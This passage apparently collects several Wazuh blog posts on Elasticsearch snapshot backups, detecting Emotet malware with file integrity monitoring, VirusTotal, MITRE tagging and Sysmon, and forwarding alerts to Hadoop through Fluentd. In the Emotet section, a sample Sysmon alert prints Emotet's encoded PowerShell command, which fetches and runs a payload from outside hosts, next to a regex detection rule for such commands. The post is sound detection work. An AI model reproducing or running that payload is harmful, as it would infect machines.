systemctl restart elasticsearch

You may then configure the repository by navigating to Stack Management > Snapshot and Restore > Repositories; click on the Register a repository button:

Elastic Stack Management, Register a repository

Provide a name for the repository, elasticsearch_backup was used in this example, and select the Shared file system type. Click on Next to proceed:

Register repository at Elastic Stack

Alternatively, you may configure the repository by issuing the following API request:

curl -XPUT <elasticsearch_address>:9200/_snapshot/elasticsearch_backup -H "Content-Type: application/json" -d'
{
  "type": "fs",
  "settings": {
    "delegate_type": "fs",
    "location": "/mount/elasticsearch_backup",
    "compress": true
  }
}
'

Finally, add the filesystem location where the information will be stored and click on Register:

Register repository Wazuh tutorial

Note: <elasticsearch_address> must be replaced by the IP or address to your Elasticsearch instance on this and all the other API call examples in this article.

Cloud-based repository

You can use storage located on the Cloud as the back-end for your repository. For this, there are readily available plugins for various Cloud service providers.

To do so, point a command line into the /usr/share/elasticsearch/bin/ directory and run the following as root for the corresponding Cloud provider you will use:

    • Amazon Web Services:
./elasticsearch-plugin install repository-s3
    • Microsoft Azure:
./elasticsearch-plugin install repository-azure
    • Google Cloud:
./elasticsearch-plugin install repository-gcs

When the command is executed you may receive a warning regarding additional permissions and you will then need to accept to continue with the installation.

After installing the plugin it is necessary to restart the Elasticsearch service:

systemctl restart elasticsearch

Similarly to the previous example, navigate to Stack Management > Snapshot and Restore > Repositories, then click on the Register a repository button:

Elasticsearch snapshot and restore repository

Once there select the AWS S3 type of repository, click on Next:

Select the S3 repository and click Next

Then configure the repository by providing the name of the bucket where the snapshots will be stored and click on Register:

Register repository Elastic

Alternatively, you can add the repository issuing the following request to the Elasticsearch API:

curl -XPUT <elasticsearch_address>:9200/_snapshot/elasticsearch_backup -H "Content-Type: application/json" -d'
{
  "type": "s3",
  "settings": {
    "bucket": "your-unique-bucket-ID",
  }
}
'

To access the bucket you can associate an AWS policy to the user with the following permissions:

To securely provide credentials to Elasticsearch so it may access the repository, first add the AWS account’s access key by executing:

/usr/share/elasticsearch/bin/elasticsearch-keystore add s3.client.default.access_key

And the secret key by executing:

/usr/share/elasticsearch/bin/elasticsearch-keystore add s3.client.default.secret_key

Automating snapshot creation on Elastic or Open Distro

After configuring a repository, you may schedule snapshots to be automatically created using Snapshot Lifecycle Management on Elastic or Index State Management on Open Distro.

This will ensure that snapshots are created every day without human intervention and that they will be ready to restore whenever necessary.

Elastic Snapshot Lifecycle Management

To automate the creation of snapshots on Elastic go to Stack Management > Snapshot and Restore > Repositories > Policies and click on the Create a policy button:

Automated Snapshots in Elastic

Provide a name for the policy, for example, nightly-snapshots, and a unique identifier for the snapshots. For instance, you may identify them using a date <nightly-snap-{now/d-1d}>.

By default, snapshots will be executed at 1:30 am, but you can adjust it to fit your needs. To continue, click on Next:

Automated Snapshots in Elastic step by step

For you to back up wazuh alerts indices disable All indices, then select Index patterns and specify <wazuh-alerts-3.x-{now/d-1d}>. After that click on Next:

Back up Wazuh alerts Elastic

You may optionally specify when the snapshots will be automatically deleted to free up space in the repository. Adjust accordingly and click on Next:

Automated snapshots automatically deleted

Review the policy before clicking on Create policy:

Review snapshot policy and create snapshot

Alternatively, you may run the following query to create the policy:

curl -XPUT <elasticsearch_address>:9200/_slm/policy/nightly-snapshots -H "Content-Type: application/json" -d'
{
  "schedule": "0 30 1 * * ?", 
  "name": "<nightly-snap-{now/d-1d}>", 
  "repository": "elasticsearch_backup", 
  "config": { 
    "indices": ["<wazuh-alerts-3.x-{now/d-1d}>"] 
  },
  "retention": { 
    "expire_after": "366d", 
    "min_count": 5, 
    "max_count": 370 
  }
}
'

Note: Note that there’s an optional retention policy that will automatically delete snapshots older than a year.

Open Distro Index State Management

A previous blog post, Wazuh index management, covered how to configure Index State Management in Open Distro. You can take advantage of this feature as well for scheduling the creation of snapshots.

You may apply a policy by going into Index Management Kibana and clicking the Create policy button under Index Policies:

Select Index Management Kibana, then Index Policies and click on Create Policy

You need to specify a name for the policy and the policy itself. As part of it, one of the states should include the snapshot action:

{
    ...
    "name": "recent",
    "actions": [
        {
            "snapshot": {
            "repository": "elasticsearch_backup",
            "snapshot": "wazuh-alerts-snapshot"
            }
        }
    ]
    ...
}

You can find a complete example here:

{
    "policy": {
        "description": "Wazuh index state management for Open Distro to snapshot indices after 1 day, move into a cold state after 30 days and delete them after a year.",
        "default_state": "hot",
        "states": [
            {
                "name": "hot",
                "actions": [
                    {
                        "replica_count": {
                            "number_of_replicas": 1
                        }
                    }
                ],
                "transitions": [
                    {
                        "state_name": "recent",
                        "conditions": {
                            "min_index_age": "1d"
                        }
                    }
                ]
            },
            {
                "name": "recent",
                "actions": [
                    {
                      "snapshot": {
                        "repository": "elasticsearch_backup",
                        "snapshot": "wazuh-alerts-snapshot"
                      }
                    },
                    {
                        "read_only": {}
                    }
                ],
                "transitions": [
                    {
                        "state_name": "cold",
                        "conditions": {
                            "min_index_age": "30d"
                        }
                    }
                ]
            },
            {
                "name": "cold",
                "actions": [
                    {
                        "read_only": {}
                    }
                ],
                "transitions": [
                    {
                        "state_name": "delete",
                        "conditions": {
                            "min_index_age": "365d"
                        }
                    }
                ]
            },
            {
                "name": "delete",
                "actions": [
                    {
                        "delete": {}
                    }
                ],
                "transitions": []
            }
        ]
    }
}

Once you are ready click on Create:

Create snapshot at Opendistro

For this policy to be applied to future indices it must be included in the Wazuh template. You may add it with the following command:

sed -i 's/  "settings": {/  "settings": {n    "opendistro.index_state_management.policy_id": "wazuh-index-state-policy",/g' /etc/filebeat/wazuh-template.json

Then update it on Elasticsearch by executing:

filebeat setup --index-management

Note: If the Wazuh template is replaced by a new stock version that removes this policy, you will need to perform the steps above again.

Restoring snapshots

Elastic packages provide a dedicated UI to restore a snapshot. You may select the snapshot from Stack Management > Snapshot and Restore > Snapshots; click on the Restore button to the right:

select snapshot and click on the restore button on the right

If you wish to select only a specific index to restore toggle the All indices and select the indices to be restored before clicking on Next:

Select indices to be restored and click on next

You can also modify indices before restoring them. If not, simply click on Next:

Edit index settings if desired, then click next

Review the action to be performed, then click on Restore snapshot:

Review and click on Restore snapshot

Finally, you may follow the progress on the Restore Status tab:
Restore Status progress

Open Distro doesn’t have a dedicated UI to restore snapshots, but you can use Elasticsearch’s API for this by issuing the following request:

curl -XPOST <elasticsearch_address>:9200/_snapshot/elasticsearch_backup/wazuh-alerts-snapshot-2020.07.22-01:30:00.015/_restore?wait_for_completion=true -H "Content-Type: application/json" -d'
{
  "indices": "wazuh-alerts-3.x-2020.07.22"
}
'

References

If you have any questions about this, join our Slack #community channel! Our team and other contributors will help you.

The post Index backup management appeared first on Wazuh.

Emotet malware detection with Wazuh

In this blog we will explain how to use Wazuh to detect the different stages of emotet malware. Emotet is a malware originally designed as a trojan, and mainly used to steal sensitive and private information. It has the ability to spread to other connected computers and even act as a gateway for other malware.

First identified in 2014, it is able to evade detection by some anti-malware products, with later versions capable of using macro-enabled Office documents to execute a malicious payload.

Usually, it has the following stages:

  • Initial attack vector. Primarily spread through spam emails containing the malicious file.
  • Malicious Powershell code. At the time the file is opened, the malware is executed.

Use this link for a thorough Emotet analysis.

How to use Wazuh to detect the different stages of emotet malware step by step:

  • File integrity monitoring. Identify changes in content, permissions, ownership, and attributes of files.
  • VirusTotal integration. Scan monitored files for malicious content.
  • MITRE ATT&CK enrichment. Tactic and technique enrichment for Wazuh alerts.
  • Sysmon Event Channel collection. Real-time processing of event channel records.

File integrity monitoring

You can configure the Wazuh agent to monitor file changes for any folder in your system. Given the initial attack vector, monitoring the Downloads folder is a good starting point:

<syscheck>
  <directories check_all="yes" realtime="yes">c:UsersvagrantDownloads</directories>
</syscheck>

Note that the directories tag uses the realtime option, which generates FIM alerts instantly.

Note: Use the centralized configuration to push the FIM block above through the user interface.

When the malicious file is downloaded, you will see the alert under the Events tab of your Integrity monitoring section:

File integrity monitoring malware alert Wazuh

It is also possible to query every monitored file in an endpoint under the Inventory tab. It will show different attributes information, including the hashes, along recent alerts:

File integrity monitoring inventory Wazuh

VirusTotal integration

VirusTotal aggregates many antivirus products and online scan engines, offering an API that can be queried by using either URLs, IPs, domains or file hashes.

The Wazuh integration can automatically perform a request to VirusTotal API with the hashes of files that are created or changed in any folder monitored with FIM.

If VirusTotal’s response is positive Wazuh will generate an alert in the system:

Alert generation in the VirusTotal integration. Flow diagram

  • File monitoring. The FIM module detects a file change and triggers an alert.
  • VirusTotal request. After FIM triggers an alert, the Wazuh manager queries VirusTotal with the hash of the file.
  • Alerting. If positives matches are found, the Wazuh manager generates a VirusTotal alert.

To enable it, you need to edit the configuration file located at /var/ossec/etc/ossec.conf on the Wazuh manager side, and add the following:

<ossec_config>
  <integration>
    <name>virustotal</name>
    <api_key>API_KEY</api_key> <!-- Replace with your VirusTotal API key -->
    <group>syscheck</group>
    <alert_format>json</alert_format>
  </integration>
</ossec_config>

When the hash of the downloaded file from the email as part of the initial attack vector is detected by VirusTotal, you will see the alert under the Events tab of your VirusTotal section:

Detecting malware with VirusTotal alert

The alert includes a permalink to the VirusTotal scan that you can use to get more information about which specific engines detected the hash as a threat.

MITRE ATT&CK enrichment

MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. It was designed to address four main topics:

  • Adversary behaviors. Focusing on adversary tactics and techniques proves useful when developing analytics to detect possible attacks.
  • Lifecycle models that didn't fit. Previous lifecycle and cyber kill chain concepts were too high-level.
  • Applicability to real environments. TTPs need to be based on observed incidents and behaviors.
  • Common taxonomy. TTPs need to be comparable across different types of adversary groups using the same terminology.

Note: TTP stands for tactics, techniques and procedures.

Wazuh enriches the alerts with tactic and technique information from MITRE, offering the possibility to filter and visualize using this taxonomy.

For instance, if you take a look at a sample VirusTotal alert from the previous section:

{
   "timestamp":"2020-07-07T03:35:51.900+0000",
   "rule":{
      "level":12,
      "description":"VirusTotal: Alert - c:\users\vagrant\downloads\2018-06-18-emotet-malware-binary-sample-2-of-3.exe - 65 engines detected this file",
      "id":"87105",
      "mitre":{
         "id":[
            "T1203"
         ],
         "tactic":[
            "Execution"
         ],
         "technique":[
            "Exploitation for Client Execution"
         ]
      },
      "firedtimes":2,
      "mail":true,
      "groups":[
         "virustotal"
      ],
      "gdpr":[
         "IV_35.7.d"
      ]
   },
   "agent":{
      "id":"002",
      "name":"win12",
      "ip":"10.0.2.15"
   },
   "manager":{
      "name":"master"
   },
   "id":"1594092951.354213",
   "cluster":{
      "name":"wazuh",
      "node":"node01"
   },
   "decoder":{
      "name":"json"
   },
   "data":{
      "virustotal":{
         "found":"1",
         "malicious":"1",
         "source":{
            "alert_id":"1594092948.348564",
            "file":"c:\users\vagrant\downloads\2018-06-18-emotet-malware-binary-sample-2-of-3.exe",
            "md5":"c541810e922b4bbab3b97c5ef98297cc",
            "sha1":"20d1f26a295e93b53e43a59dc5ce58ce439ac93c"
         },
         "sha1":"20d1f26a295e93b53e43a59dc5ce58ce439ac93c",
         "scan_date":"2020-02-28 22:23:51",
         "positives":"65",
         "total":"73",         
         "permalink":"https://www.virustotal.com/gui/file/bb86400b6ae77db74d6fb592e3358580999711d9dca4ffc1d1f428e5b29f3d32/detection/f-bb86400b6ae77db74d6fb592e3358580999711d9dca4ffc1d1f428e5b29f3d32-1582928631"
      },
      "integration":"virustotal"
   },
   "location":"virustotal"
}

You can see the mitre object within the alert with information about the tactic(s) and technique(s) related to it, namely Exploitation for Client Execution in this case:

"mitre":{
  "id":[
    "T1203"
  ],
  "tactic":[
    "Execution"
  ],
  "technique":[
    "Exploitation for Client Execution"
  ]
}

This specific technique warns about adversaries exploiting software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior.

You can read more about Wazuh’s approach to MITRE here.

Besides, there’s a dedicated interface to filter the alerts under the Framework tab of your MITRE ATT&CK section, similar to the Inventory one for FIM:

Wazuh MITRE. Dedicated interface to filter the malware alerts

Sysmon Event Channel collection

System Monitor, Sysmon, is a Windows system service that monitors and logs system activity. One of its key advantages is that it takes log entries from multiple log sources, correlates some of the information, and puts the resulting entries in the Sysmon Event Channel.

Sysmon will generate an event when PowerShell is executed and Wazuh can trigger an alert when the malicious command is detected.

The following section assumes that Sysmon is already installed on the monitored endpoint:

    • Download this configuration and copy it to the folder where the Sysmon binaries are located.
    • Launch CMD with administrator privileges in the Sysmon folder and apply the configuration with this command:
Sysmon64.exe -accepteula -i sysconfig.xml
    • Configure the Wazuh agent to monitor the Sysmon Event Channel:
<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

Note: Use the centralized configuration to push the block above through the user interface.

    • Add rules for Sysmon events in your Wazuh manager to match the Sysmon event generated by the execution of Powershell and the IoCs you should look at as part of that execution.

Edit /var/ossec/etc/rules/local_rules.xml, and add the following:

<group name="sysmon,">
  <rule id="100001" level="5">
  <if_group>sysmon_event1</if_group>
  <match>technique_name=PowerShell</match>
  <description>MITRE T1086 Powershell: $(win.eventdata.image)</description>
  <mitre>
    <id>T1059</id>
  </mitre>
  </rule>
</group>

<group name="attack,">
  <rule id="100002" level="12">
  <if_sid>100001</if_sid>
  <regex>-e PAA|-en PAA|-enc PAA|-enco PAA|-encod PAA|JABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQ|QAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUA|kAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlA|IgAoACcAKgAnACkAOwAkA|IAKAAnACoAJwApADsAJA|iACgAJwAqACcAKQA7ACQA</regex>
  <description>ATT&CK T1059: Powershell execution techniques seen with Emotet malware</description>
  <mitre>
    <id>T1059</id>
  </mitre>
  </rule>
</group>

You can read more about how to collect Windows Event Channels with Wazuh here.

This is an example of a Sysmon alert detecting the malicious payload:

{
	"timestamp": "2020-07-08T17:07:14.113+0000",
	"rule": {
		"level": 12,
		"description": "ATT&CK T1059: Powershell execution techniques seen with Emotet malware",
		"id": "100002",
		"firedtimes": 1,
		"mail": true,
		"groups": ["execution", "MITRE", "attack.t1059"]
	},
	"agent": {
		"id": "002",
		"name": "windows-emotet",
		"ip": "10.0.2.15"
	},
	"manager": {
		"name": "opendistro"
	},
	"id": "1594228034.1336156",
	"decoder": {
		"name": "windows_eventchannel"
	},
	"data": {
		"win": {
			"system": {
				"providerName": "Microsoft-Windows-Sysmon",
				"providerGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}",
				"eventID": "1",
				"version": "5",
				"level": "4",
				"task": "1",
				"opcode": "0",
				"keywords": "0x8000000000000000",
				"systemTime": "2020-07-08T17:07:12.828662600Z",
				"eventRecordID": "7106",
				"processID": "1720",
				"threadID": "2264",
				"channel": "Microsoft-Windows-Sysmon/Operational",
				"computer": "windows-emotet",
				"severityValue": "INFORMATION",
				"message": ""Process Create:rnRuleName: technique_id=T1086,technique_name=PowerShellrnUtcTime: 2020-07-08 17:07:11.986rnProcessGuid: {38395A02-FD3F-5F05-7C00-000000000E00}rnProcessId: 508rnImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exernFileVersion: 10.0.14393.206 (rs1_release.160915-0644)rnDescription: Windows PowerShellrnProduct: Microsoft® Windows® Operating SystemrnCompany: Microsoft CorporationrnOriginalFileName: PowerShell.EXErnCommandLine: powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=rnCurrentDirectory: C:\Windows\system32\rnUser: WINDOWS-EMOTET\AdministratorrnLogonGuid: {38395A02-F967-5F05-F52A-050000000000}rnLogonId: 0x52AF5rnTerminalSessionId: 1rnIntegrityLevel: HighrnHashes: SHA1=044A0CF1F6BC478A7172BF207EEF1E201A18BA02,MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453rnParentProcessGuid: {38395A02-FD3E-5F05-7A00-000000000E00}rnParentProcessId: 4920rnParentImage: C:\Windows\System32\wbem\WmiPrvSE.exernParentCommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding""
			},
			"eventdata": {
				"ruleName": "technique_id=T1086,technique_name=PowerShell",
				"utcTime": "2020-07-08 17:07:11.986",
				"processGuid": "{38395A02-FD3F-5F05-7C00-000000000E00}",
				"processId": "508",
				"image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
				"fileVersion": "10.0.14393.206 (rs1_release.160915-0644)",
				"description": "Windows PowerShell",
				"product": "Microsoft® Windows® Operating System",
				"company": "Microsoft Corporation",
				"originalFileName": "PowerShell.EXE",
				"commandLine": "powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=",
				"currentDirectory": "C:\\Windows\\system32\\",
				"user": "WINDOWS-EMOTET\\Administrator",
				"logonGuid": "{38395A02-F967-5F05-F52A-050000000000}",
				"logonId": "0x52af5",
				"terminalSessionId": "1",
				"integrityLevel": "High",
				"hashes": "SHA1=044A0CF1F6BC478A7172BF207EEF1E201A18BA02,MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453",
				"parentProcessGuid": "{38395A02-FD3E-5F05-7A00-000000000E00}",
				"parentProcessId": "4920",
				"parentImage": "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
				"parentCommandLine": "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
			}
		}
	},
	"location": "EventChannel"
}

It contains information about the PowerShell execution, including the parameters used in the commandLine field.

Conclusion

There are a great number of threats and malicious actors on the Internet attempting to steal your private information. With Wazuh you have many capabilities to detect and remediate threats in your environment.

In this post, we have shown an example of how Wazuh will detect the threat of a widely available attack in its different stages whilst enriching the alert with the MITRE taxonomy.

Thanks to Wazuh’s EDR capabilities you may then easily configure remediation actions to maintain your system’s security.

References

If you have any questions about this, join our Slack community channel! Our team and other contributors will help you.

The post Emotet malware detection with Wazuh appeared first on Wazuh.

Forward alerts with Fluentd

Fluentd is an open source data collector for semi and un-structured data sets. It can analyze and send information to various tools for either alerting, analysis or archiving.

The main idea behind it is to unify the data collection and consumption for better use and understanding. It is also worth noting that it is written in a combination of C language and Ruby, and requires very little system resources.

A vanilla instance runs on 30-40MB of memory. For even tighter memory requirements, check out Fluent Bit.

FluentD and Wazuh flow

As part of this unified logging, it converts data to JSON to gather all facets of processing log data, which makes Wazuh alerts a good match for it.

The downstream data processing is much easier with JSON, since it has enough structure to be accessible while retaining flexible schemas.

Moreover, it has a pluggable architecture that, as of today, has more than 500 community-contributed plugins to connect different data sources and data outputs.

Wazuh Fluentd forwarder

Wazuh v3.9 introduced the Fluentd module, which allows the forwarding of information to a Fluentd server. This is a diagram depicting the dataflow:

Wazuh fluentd forwarder diagram

Configuration

The settings can be divided into input and output. These are the main ones you can use:

Input

  • socket_path. Dedicated UDP socket to listen to incoming messages.
  • tag. The tag to be added to the messages forwarded to the Fluentd server.
  • object_key. It packs the log into an object, which value is defined by this setting.

Note: The socket is meant to be a Unix domain UDP socket.

Output

  • address. Fluentd server location.
  • port. Fluentd server port.
  • shared_key. Key used for server authentication. It implicitly enables the TLS secure mode.

You can find all of the different settings in the documentation.

Sample configuration

This is a TLS enabled example:

<fluent-forward>
  <enabled>yes</enabled>
  <socket_path>/var/run/fluent.sock</socket_path>
  <address>localhost</address>
  <port>24224</port>
  <shared_key>secret_string</shared_key>
  <ca_file>/root/certs/fluent.crt</ca_file>
  <user>foo</user>
  <password>bar</password>
</fluent-forward>

Hadoop use case

Hadoop is an open source software designed for reliable, scalable, distributed computing that is widely used as the data lake for AI projects.

One of its key features is the HDFS filesystem as it provides high-throughput access to application data, which is a requirement for big data workloads.

The following instructions show you how you can use Wazuh to send alerts, produced by the analysis engine in the alerts.json file, to Hadoop by taking advantage of the Fluentd module.

Wazuh manager

Add the following to the manager configuration file, located at /var/ossec/etc/ossec.conf, and then restart it:

 
<socket>
  <name>fluent_socket</name>
  <location>/var/run/fluent.sock</location>
  <mode>udp</mode>
</socket>

<localfile>
  <log_format>json</log_format>
  <location>/var/ossec/logs/alerts/alerts.json</location>
  <target>fluent_socket</target>
</localfile>

<fluent-forward>
  <enabled>yes</enabled>
  <tag>hdfs.wazuh</tag>
  <socket_path>/var/run/fluent.sock</socket_path> 
  <address>localhost</address>
  <port>24224</port>
</fluent-forward>

As illustrated previously, Wazuh requires:

  • An UDP socket. You can find more about these settings.
  • The input. For this use case you will use log collector to read the Wazuh alerts with the target option, which forwards them to the previously defined socket instead of the Wazuh analysis engine.
  • Fluentd forwarder module. It connects to the socket to fetch incoming messages and sends them over to the specified address.

Fluentd

You need to install the td-agent, which is part of Fluentd offering. It provides rpm/deb/dmg packages and it includes pre-configured recommended settings.

For you to ingest the information in HDFS, Fluentd needs the webhdfs plugin. By default, this plugin creates several files on an hourly basis. For this use case though, this behavior must be modified to convey Wazuh’s alerts in realtime.

Edit the td-agent’s configuration file, located at /etc/td-agent/td-agent.conf, and add the following, then restart the service:

<match hdfs.wazuh>
  @type webhdfs
  host namenode.your.cluster.local
  port 9870
  append yes
  path "/Wazuh/%Y%m%d/alerts.json"
  <buffer>
    flush_mode immediate
  </buffer>
  <format>
   @type json
  </format>
</match>
  • match. Specify the regex or name used in the defined tags.
  • host. HDFS namenode hostname.
  • flush_mode. Use immediate to write the alerts in realtime.
  • path. The path in HDFS.
  • append. Set to yes to avoid overwriting the alerts file.

You can read more about Fluentd configurations here.

Hadoop

The following section assumes that Hadoop is already installed. You can follow the official installation guide.

As mentioned before, HDFS is the storage system for Hadoop. It is a distributed file system that can conveniently run on commodity hardware and it is highly fault-tolerant.

Create a folder in your HDFS to store Wazuh alerts:

hadoop fs -mkdir /Wazuh

Enable append operations in HDFS by editing the /usr/local/hadoop/etc/hadoop/hdfs-site.xml file, and then restart the whole cluster:

<property>
  <name>dfs.webhdfs.enabled</name>
  <value>true</value>
</property>

<property>
  <name>dfs.support.append</name>
  <value>true</value>
</property>

<property>
  <name>dfs.support.broken.append</name>
  <value>true</value>
</property>

At this point, all the Wazuh alerts will be stored in realtime in the defined path /Wazuh/DATE/alerts.json:

[[email protected] ~]$ hadoop fs -tail /Wazuh/20200505/alerts.json
2020-05-05 12:31:27,273 INFO sasl.SaslDataTransferClient: SASL encryption trust check: localHostTrusted = false, remoteHostTrusted = false
 12:30:56","hostname":"localhost"},"decoder":{"parent":"pam","name":"pam"},"data":{"dstuser":"root"},"location":"/var/log/secure"}"}
